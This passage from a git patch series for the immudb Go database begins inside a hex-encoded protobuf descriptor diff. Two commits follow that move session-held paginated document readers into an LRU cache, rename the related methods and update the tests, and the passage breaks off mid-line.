0x08, 0x70, - 0x61, 0x67, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x22, 0x57, 0x0a, 0x15, 0x41, 0x75, 0x64, 0x69, 0x74, - 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, - 0x12, 0x3e, 0x0a, 0x09, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, - 0x03, 0x28, 0x0b, 0x32, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, - 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x74, 0x52, 0x65, 0x76, - 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x09, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, - 0x22, 0xe3, 0x01, 0x0a, 0x14, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x26, 0x0a, 0x0e, 0x63, 0x6f, 0x6c, - 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x0e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, - 0x65, 0x12, 0x1e, 0x0a, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x18, - 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, - 0x64, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x49, 0x64, 0x18, 0x03, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x12, 0x38, 0x0a, 0x17, 0x70, 0x72, 0x6f, 0x6f, 0x66, - 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x49, 0x64, 0x18, 0x04, 0x20, 0x01, 0x28, 0x04, 0x52, 0x17, 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x53, - 0x69, 0x6e, 0x63, 0x65, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, - 0x64, 0x3a, 0x23, 0x92, 0x41, 0x20, 0x0a, 0x1e, 0xd2, 0x01, 0x0e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0xd2, 0x01, 0x0a, 0x64, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x22, 0xf6, 0x01, 0x0a, 0x15, 0x50, 0x72, 0x6f, 0x6f, 0x66, - 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, - 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x22, 0x0a, 0x0c, - 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, - 0x28, 0x0d, 0x52, 0x0c, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, - 0x12, 0x30, 0x0a, 0x13, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x46, 0x69, - 0x65, 0x6c, 0x64, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x13, 0x64, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x4e, 0x61, - 0x6d, 0x65, 0x12, 0x28, 0x0a, 0x0f, 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, 0x44, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0f, 0x65, 0x6e, 0x63, - 0x6f, 0x64, 0x65, 0x64, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x12, 0x41, 0x0a, 0x0c, - 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x18, 0x05, 0x20, 0x01, - 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x56, - 0x32, 0x52, 0x0c, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x2a, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x74, 0x52, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, + 0x52, 0x09, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x3a, 0x11, 0x92, 0x41, 0x0e, + 0x0a, 0x0c, 0xd2, 0x01, 0x09, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0x8d, + 0x02, 0x0a, 0x14, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x26, 0x0a, 0x0e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x0e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x12, + 0x1e, 0x0a, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x18, 0x02, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x12, + 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, + 0x18, 0x03, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x12, 0x38, 0x0a, 0x17, 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x53, 0x69, + 0x6e, 0x63, 0x65, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, + 0x18, 0x04, 0x20, 0x01, 0x28, 0x04, 0x52, 0x17, 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x53, 0x69, 0x6e, + 0x63, 0x65, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x3a, + 0x4d, 0x92, 0x41, 0x4a, 0x0a, 0x48, 0xd2, 0x01, 0x0e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0xd2, 0x01, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x49, 0x64, 0xd2, 0x01, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x49, 0x64, 0xd2, 0x01, 0x17, 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x53, 0x69, 0x6e, 0x63, + 0x65, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x22, 0xce, + 0x02, 0x0a, 0x15, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, + 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, + 0x62, 0x61, 0x73, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0c, 0x63, 0x6f, 0x6c, 0x6c, + 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x12, 0x30, 0x0a, 0x13, 0x64, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x4e, 0x61, 0x6d, 0x65, 0x18, + 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x13, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, + 0x64, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x28, 0x0a, 0x0f, 0x65, 0x6e, + 0x63, 0x6f, 0x64, 0x65, 0x64, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x18, 0x04, 0x20, + 0x01, 0x28, 0x0c, 0x52, 0x0f, 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, 0x44, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x12, 0x41, 0x0a, 0x0c, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, + 0x6c, 0x65, 0x54, 0x78, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, + 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x56, 0x32, 0x52, 0x0c, 0x76, 0x65, 0x72, 0x69, 0x66, + 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x3a, 0x56, 0x92, 0x41, 0x53, 0x0a, 0x51, 0xd2, 0x01, + 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0xd2, 0x01, 0x0c, 0x63, 0x6f, 0x6c, 0x6c, + 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0xd2, 0x01, 0x13, 0x64, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x49, 0x64, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x4e, 0x61, 0x6d, 0x65, 0xd2, 0x01, + 0x0f, 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0xd2, 0x01, 0x0c, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x2a, 0x3d, 0x0a, 0x09, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x54, 0x79, 0x70, 0x65, 0x12, 0x0a, 0x0a, 0x06, 0x53, 0x54, 0x52, 0x49, 0x4e, 0x47, 0x10, 0x00, 0x12, 0x0b, 0x0a, 0x07, 0x42, 0x4f, 0x4f, 0x4c, 0x45, 0x41, 0x4e, 0x10, 0x01, 0x12, 0x0b, 0x0a, 0x07, 0x49, 0x4e, 0x54, 0x45, 0x47, 0x45, 0x52, From 5653fdcd7ae3e17641a11e167fd9d753189c583e Mon Sep 17 00:00:00 2001 From: Farhan Khan Date: Thu, 18 May 2023 13:05:46 +0530 Subject: [PATCH 0571/1062] chore: add lru cache for paginated readers --- pkg/server/documents_operations_test.go | 11 ++++ pkg/server/sessions/manager.go | 11 +++- pkg/server/sessions/session.go | 67 +++++++++++++------------ pkg/server/sessions/session_test.go | 2 +- 4 files changed, 58 insertions(+), 33 deletions(-) diff --git a/pkg/server/documents_operations_test.go b/pkg/server/documents_operations_test.go index 720464f4b8..957d07484b 100644 --- a/pkg/server/documents_operations_test.go +++ b/pkg/server/documents_operations_test.go @@ -285,6 +285,10 @@ func TestPaginationOnReader(t *testing.T) { }) require.NoError(t, err) }) + + // close session and ensure that all paginated readers are closed + _, err = authenticationServiceImp.CloseSession(ctx, &protomodel.CloseSessionRequest{}) + require.NoError(t, err) } func TestPaginationWithoutSearchID(t *testing.T) { @@ -386,6 +390,10 @@ func TestPaginationWithoutSearchID(t *testing.T) { require.Zero(t, sess.GetPaginatedDocumentReadersCount()) }) + + // close session and ensure that all paginated readers are closed + _, err = authServiceImp.CloseSession(ctx, &protomodel.CloseSessionRequest{}) + require.NoError(t, err) } func TestPaginatedReader_NoMoreDocsFound(t *testing.T) { @@ -553,6 +561,9 @@ func TestPaginatedReader_NoMoreDocsFound(t *testing.T) { }) + // close session and ensure that all paginated readers are closed + _, err = authenticationServiceImp.CloseSession(ctx, &protomodel.CloseSessionRequest{}) + require.NoError(t, err) } func TestDocumentInsert_WithEmptyDocument(t *testing.T) { diff --git a/pkg/server/sessions/manager.go b/pkg/server/sessions/manager.go index 4effcc2681..a2e53b27ed 100644 --- a/pkg/server/sessions/manager.go +++ b/pkg/server/sessions/manager.go @@ -26,6 +26,7 @@ import ( "github.com/codenotary/immudb/embedded/multierr" "github.com/codenotary/immudb/embedded/sql" + "github.com/codenotary/immudb/embedded/store" "github.com/codenotary/immudb/pkg/auth" "github.com/codenotary/immudb/pkg/database" "github.com/codenotary/immudb/pkg/logger" @@ -105,7 +106,15 @@ func (sm *manager) NewSession(user *auth.User, db database.DB) (*Session, error) sessionID := base64.URLEncoding.EncodeToString(randomBytes) - sm.sessions[sessionID] = NewSession(sessionID, user, db, sm.logger) + var maxActiveTxn int + if db != nil { + opts := db.GetOptions() + maxActiveTxn = opts.GetStoreOptions().MaxActiveTransactions + } else { + maxActiveTxn = store.DefaultMaxActiveTransactions + } + + sm.sessions[sessionID] = NewSession(sessionID, user, db, maxActiveTxn, sm.logger) sm.logger.Debugf("created session %s", sessionID) return sm.sessions[sessionID], nil diff --git a/pkg/server/sessions/session.go b/pkg/server/sessions/session.go index c83454148b..107caa5f8c 100644 --- a/pkg/server/sessions/session.go +++ b/pkg/server/sessions/session.go @@ -21,8 +21,10 @@ import ( "sync" "time" + "github.com/codenotary/immudb/embedded/cache" "github.com/codenotary/immudb/embedded/document" "github.com/codenotary/immudb/embedded/sql" + "github.com/codenotary/immudb/embedded/store" "github.com/codenotary/immudb/embedded/multierr" "github.com/codenotary/immudb/pkg/api/protomodel" @@ -53,12 +55,18 @@ type Session struct { creationTime time.Time lastActivityTime time.Time transactions map[string]transactions.Transaction - paginatedDocumentReaders map[string]*PaginatedDocumentReader // map from searchID to sql.RowReader objects + paginatedDocumentReaders *cache.LRUCache // track searchID to sql.RowReader objects log logger.Logger } -func NewSession(sessionID string, user *auth.User, db database.DB, log logger.Logger) *Session { +func NewSession(sessionID string, user *auth.User, db database.DB, maxActiveSnapshots int, log logger.Logger) *Session { + if maxActiveSnapshots == 0 { + maxActiveSnapshots = store.DefaultMaxActiveTransactions + } + now := time.Now() + lruCache, _ := cache.NewLRUCache(maxActiveSnapshots) + return &Session{ id: sessionID, user: user, @@ -67,7 +75,7 @@ func NewSession(sessionID string, user *auth.User, db database.DB, log logger.Lo lastActivityTime: now, transactions: make(map[string]transactions.Transaction), log: log, - paginatedDocumentReaders: make(map[string]*PaginatedDocumentReader), + paginatedDocumentReaders: lruCache, } } @@ -100,12 +108,18 @@ func (s *Session) removeTransaction(transactionID string) error { } func (s *Session) ClosePaginatedDocumentReaders() error { - s.mux.Lock() - defer s.mux.Unlock() - merr := multierr.NewMultiErr() - for searchID := range s.paginatedDocumentReaders { + searchIDs := make([]string, 0) + if err := s.paginatedDocumentReaders.Apply(func(k, v interface{}) error { + searchIDs = append(searchIDs, k.(string)) + return nil + }); err != nil { + s.log.Errorf("Error while removing paginated reader: %v", err) + merr.Append(err) + } + + for _, searchID := range searchIDs { if err := s.deletePaginatedDocumentReader(searchID); err != nil { s.log.Errorf("Error while removing paginated reader: %v", err) merr.Append(err) @@ -227,38 +241,34 @@ func (s *Session) GetCreationTime() time.Time { } func (s *Session) SetPaginatedDocumentReader(searchID string, reader *PaginatedDocumentReader) { - s.mux.Lock() - defer s.mux.Unlock() - // add the reader to the paginatedDocumentReaders map - s.paginatedDocumentReaders[searchID] = reader + s.paginatedDocumentReaders.Put(searchID, reader) } func (s *Session) GetPaginatedDocumentReader(searchID string) (*PaginatedDocumentReader, error) { - s.mux.RLock() - defer s.mux.RUnlock() - // get the io.Reader object for the specified searchID - reader, ok := s.paginatedDocumentReaders[searchID] - if !ok { + val, err := s.paginatedDocumentReaders.Get(searchID) + if err != nil { return nil, ErrPaginatedDocumentReaderNotFound } + reader := val.(*PaginatedDocumentReader) + return reader, nil } func (s *Session) deletePaginatedDocumentReader(searchID string) error { // get the io.Reader object for the specified searchID - reader, ok := s.paginatedDocumentReaders[searchID] - if !ok { + val, err := s.paginatedDocumentReaders.Get(searchID) + if err != nil { return ErrPaginatedDocumentReaderNotFound } - // close the reader - err := reader.Reader.Close() - - delete(s.paginatedDocumentReaders, searchID) + reader := val.(*PaginatedDocumentReader) + // close the reader + err = reader.Reader.Close() + s.paginatedDocumentReaders.Pop(searchID) if err != nil { return err } @@ -267,22 +277,17 @@ func (s *Session) deletePaginatedDocumentReader(searchID string) error { } func (s *Session) DeletePaginatedDocumentReader(searchID string) error { - s.mux.Lock() - defer s.mux.Unlock() - return s.deletePaginatedDocumentReader(searchID) } func (s *Session) UpdatePaginatedDocumentReader(searchID string, lastPage uint32, lastPageSize uint32) error { - s.mux.Lock() - defer s.mux.Unlock() - // get the io.Reader object for the specified searchID - reader, ok := s.paginatedDocumentReaders[searchID] - if !ok { + val, err := s.paginatedDocumentReaders.Get(searchID) + if err != nil { return ErrPaginatedDocumentReaderNotFound } + reader := val.(*PaginatedDocumentReader) reader.LastPageNumber = lastPage reader.LastPageSize = lastPageSize @@ -290,5 +295,5 @@ func (s *Session) UpdatePaginatedDocumentReader(searchID string, lastPage uint32 } func (s *Session) GetPaginatedDocumentReadersCount() int { - return len(s.paginatedDocumentReaders) + return s.paginatedDocumentReaders.EntriesCount() } diff --git a/pkg/server/sessions/session_test.go b/pkg/server/sessions/session_test.go index f1e502b92f..977c5af3d8 100644 --- a/pkg/server/sessions/session_test.go +++ b/pkg/server/sessions/session_test.go @@ -29,7 +29,7 @@ import ( ) func TestNewSession(t *testing.T) { - sess := NewSession("sessID", &auth.User{}, nil, logger.NewSimpleLogger("test", stdos.Stdout)) + sess := NewSession("sessID", &auth.User{}, nil, 0, logger.NewSimpleLogger("test", stdos.Stdout)) require.NotNil(t, sess) require.Less(t, sess.GetCreationTime(), time.Now()) require.Less(t, sess.GetLastActivityTime(), time.Now()) From ea5759f5a6906da9d694aea5d0e6fdce181a30cd Mon Sep 17 00:00:00 2001 From: Farhan Khan Date: Wed, 24 May 2023 09:59:56 +0530 Subject: [PATCH 0572/1062] chore: add default size for document reader lru cache --- pkg/server/documents_operations.go | 4 +- pkg/server/documents_operations_test.go | 8 +-- pkg/server/sessions/manager.go | 14 +---- pkg/server/sessions/session.go | 76 ++++++++++++------------- pkg/server/sessions/session_test.go | 2 +- 5 files changed, 46 insertions(+), 58 deletions(-) diff --git a/pkg/server/documents_operations.go b/pkg/server/documents_operations.go index a8a603db81..9804fc1572 100644 --- a/pkg/server/documents_operations.go +++ b/pkg/server/documents_operations.go @@ -181,7 +181,7 @@ func (s *ImmuServer) SearchDocuments(ctx context.Context, req *protomodel.Search if req.SearchId != "" { var err error - if pgreader, err = sess.GetPaginatedDocumentReader(req.SearchId); err != nil { + if pgreader, err = sess.GetDocumentReader(req.SearchId); err != nil { // invalid SearchId, return error return nil, err } @@ -235,7 +235,7 @@ func (s *ImmuServer) SearchDocuments(ctx context.Context, req *protomodel.Search if errors.Is(err, document.ErrNoMoreDocuments) || !req.KeepOpen { // end of data reached, remove the paginated reader and pagination parameters from the session - err = sess.DeletePaginatedDocumentReader(req.SearchId) + err = sess.DeleteDocumentReader(req.SearchId) if err != nil { s.Logger.Errorf("error deleting paginated reader: %s, err = %v", req.SearchId, err) } diff --git a/pkg/server/documents_operations_test.go b/pkg/server/documents_operations_test.go index 957d07484b..3e9a4753cc 100644 --- a/pkg/server/documents_operations_test.go +++ b/pkg/server/documents_operations_test.go @@ -234,7 +234,7 @@ func TestPaginationOnReader(t *testing.T) { sess, err := s.SessManager.GetSession(sessionID) require.NoError(t, err) - require.Equal(t, 1, sess.GetPaginatedDocumentReadersCount()) + require.Equal(t, 1, sess.GetDocumentReadersCount()) t.Run("test reader should throw no more entries when reading more entries from a reader", func(t *testing.T) { _, err = s.SearchDocuments(ctx, &protomodel.SearchDocumentsRequest{ @@ -388,7 +388,7 @@ func TestPaginationWithoutSearchID(t *testing.T) { require.Equal(t, i, docAtRev.Document.Fields["idx"].GetNumberValue()) } - require.Zero(t, sess.GetPaginatedDocumentReadersCount()) + require.Zero(t, sess.GetDocumentReadersCount()) }) // close session and ensure that all paginated readers are closed @@ -497,7 +497,7 @@ func TestPaginatedReader_NoMoreDocsFound(t *testing.T) { sess, err := s.SessManager.GetSession(sessionID) require.NoError(t, err) - require.Equal(t, 1, sess.GetPaginatedDocumentReadersCount()) + require.Equal(t, 1, sess.GetDocumentReadersCount()) t.Run("test reader should throw no more entries when reading more entries from a reader", func(t *testing.T) { resp, err := s.SearchDocuments(ctx, &protomodel.SearchDocumentsRequest{ @@ -548,7 +548,7 @@ func TestPaginatedReader_NoMoreDocsFound(t *testing.T) { sess, err := s.SessManager.GetSession(sessionID) require.NoError(t, err) - require.Equal(t, 0, sess.GetPaginatedDocumentReadersCount()) + require.Equal(t, 0, sess.GetDocumentReadersCount()) t.Run("test reader should throw error when search id is invalid", func(t *testing.T) { _, err = s.SearchDocuments(ctx, &protomodel.SearchDocumentsRequest{ diff --git a/pkg/server/sessions/manager.go b/pkg/server/sessions/manager.go index a2e53b27ed..d2860ca5f4 100644 --- a/pkg/server/sessions/manager.go +++ b/pkg/server/sessions/manager.go @@ -26,7 +26,6 @@ import ( "github.com/codenotary/immudb/embedded/multierr" "github.com/codenotary/immudb/embedded/sql" - "github.com/codenotary/immudb/embedded/store" "github.com/codenotary/immudb/pkg/auth" "github.com/codenotary/immudb/pkg/database" "github.com/codenotary/immudb/pkg/logger" @@ -105,16 +104,7 @@ func (sm *manager) NewSession(user *auth.User, db database.DB) (*Session, error) } sessionID := base64.URLEncoding.EncodeToString(randomBytes) - - var maxActiveTxn int - if db != nil { - opts := db.GetOptions() - maxActiveTxn = opts.GetStoreOptions().MaxActiveTransactions - } else { - maxActiveTxn = store.DefaultMaxActiveTransactions - } - - sm.sessions[sessionID] = NewSession(sessionID, user, db, maxActiveTxn, sm.logger) + sm.sessions[sessionID] = NewSession(sessionID, user, db, sm.logger) sm.logger.Debugf("created session %s", sessionID) return sm.sessions[sessionID], nil @@ -158,7 +148,7 @@ func (sm *manager) deleteSession(sessionID string) error { merr.Append(err) } - if err := sess.ClosePaginatedDocumentReaders(); err != nil { + if err := sess.CloseDocumentReaders(); err != nil { merr.Append(err) } diff --git a/pkg/server/sessions/session.go b/pkg/server/sessions/session.go index 107caa5f8c..1a8be4d71a 100644 --- a/pkg/server/sessions/session.go +++ b/pkg/server/sessions/session.go @@ -24,7 +24,6 @@ import ( "github.com/codenotary/immudb/embedded/cache" "github.com/codenotary/immudb/embedded/document" "github.com/codenotary/immudb/embedded/sql" - "github.com/codenotary/immudb/embedded/store" "github.com/codenotary/immudb/embedded/multierr" "github.com/codenotary/immudb/pkg/api/protomodel" @@ -36,6 +35,9 @@ import ( "google.golang.org/grpc/metadata" ) +// DefaultMaxDocumentReadersCacheSize is the default maximum number of document readers to keep in cache +const DefaultMaxDocumentReadersCacheSize = 1 + var ( ErrPaginatedDocumentReaderNotFound = errors.New("document reader not found") ) @@ -48,34 +50,30 @@ type PaginatedDocumentReader struct { } type Session struct { - mux sync.RWMutex - id string - user *auth.User - database database.DB - creationTime time.Time - lastActivityTime time.Time - transactions map[string]transactions.Transaction - paginatedDocumentReaders *cache.LRUCache // track searchID to sql.RowReader objects - log logger.Logger + mux sync.RWMutex + id string + user *auth.User + database database.DB + creationTime time.Time + lastActivityTime time.Time + transactions map[string]transactions.Transaction + documentReaders *cache.LRUCache // track searchID to document.DocumentReader + log logger.Logger } -func NewSession(sessionID string, user *auth.User, db database.DB, maxActiveSnapshots int, log logger.Logger) *Session { - if maxActiveSnapshots == 0 { - maxActiveSnapshots = store.DefaultMaxActiveTransactions - } - +func NewSession(sessionID string, user *auth.User, db database.DB, log logger.Logger) *Session { now := time.Now() - lruCache, _ := cache.NewLRUCache(maxActiveSnapshots) + lruCache, _ := cache.NewLRUCache(DefaultMaxDocumentReadersCacheSize) return &Session{ - id: sessionID, - user: user, - database: db, - creationTime: now, - lastActivityTime: now, - transactions: make(map[string]transactions.Transaction), - log: log, - paginatedDocumentReaders: lruCache, + id: sessionID, + user: user, + database: db, + creationTime: now, + lastActivityTime: now, + transactions: make(map[string]transactions.Transaction), + log: log, + documentReaders: lruCache, } } @@ -107,11 +105,11 @@ func (s *Session) removeTransaction(transactionID string) error { return ErrTransactionNotFound } -func (s *Session) ClosePaginatedDocumentReaders() error { +func (s *Session) CloseDocumentReaders() error { merr := multierr.NewMultiErr() searchIDs := make([]string, 0) - if err := s.paginatedDocumentReaders.Apply(func(k, v interface{}) error { + if err := s.documentReaders.Apply(func(k, v interface{}) error { searchIDs = append(searchIDs, k.(string)) return nil }); err != nil { @@ -120,7 +118,7 @@ func (s *Session) ClosePaginatedDocumentReaders() error { } for _, searchID := range searchIDs { - if err := s.deletePaginatedDocumentReader(searchID); err != nil { + if err := s.deleteDocumentReader(searchID); err != nil { s.log.Errorf("Error while removing paginated reader: %v", err) merr.Append(err) } @@ -241,13 +239,13 @@ func (s *Session) GetCreationTime() time.Time { } func (s *Session) SetPaginatedDocumentReader(searchID string, reader *PaginatedDocumentReader) { - // add the reader to the paginatedDocumentReaders map - s.paginatedDocumentReaders.Put(searchID, reader) + // add the reader to the documentReaders map + s.documentReaders.Put(searchID, reader) } -func (s *Session) GetPaginatedDocumentReader(searchID string) (*PaginatedDocumentReader, error) { +func (s *Session) GetDocumentReader(searchID string) (*PaginatedDocumentReader, error) { // get the io.Reader object for the specified searchID - val, err := s.paginatedDocumentReaders.Get(searchID) + val, err := s.documentReaders.Get(searchID) if err != nil { return nil, ErrPaginatedDocumentReaderNotFound } @@ -257,9 +255,9 @@ func (s *Session) GetPaginatedDocumentReader(searchID string) (*PaginatedDocumen return reader, nil } -func (s *Session) deletePaginatedDocumentReader(searchID string) error { +func (s *Session) deleteDocumentReader(searchID string) error { // get the io.Reader object for the specified searchID - val, err := s.paginatedDocumentReaders.Get(searchID) + val, err := s.documentReaders.Get(searchID) if err != nil { return ErrPaginatedDocumentReaderNotFound } @@ -268,7 +266,7 @@ func (s *Session) deletePaginatedDocumentReader(searchID string) error { // close the reader err = reader.Reader.Close() - s.paginatedDocumentReaders.Pop(searchID) + s.documentReaders.Pop(searchID) if err != nil { return err } @@ -276,13 +274,13 @@ func (s *Session) deletePaginatedDocumentReader(searchID string) error { return nil } -func (s *Session) DeletePaginatedDocumentReader(searchID string) error { - return s.deletePaginatedDocumentReader(searchID) +func (s *Session) DeleteDocumentReader(searchID string) error { + return s.deleteDocumentReader(searchID) } func (s *Session) UpdatePaginatedDocumentReader(searchID string, lastPage uint32, lastPageSize uint32) error { // get the 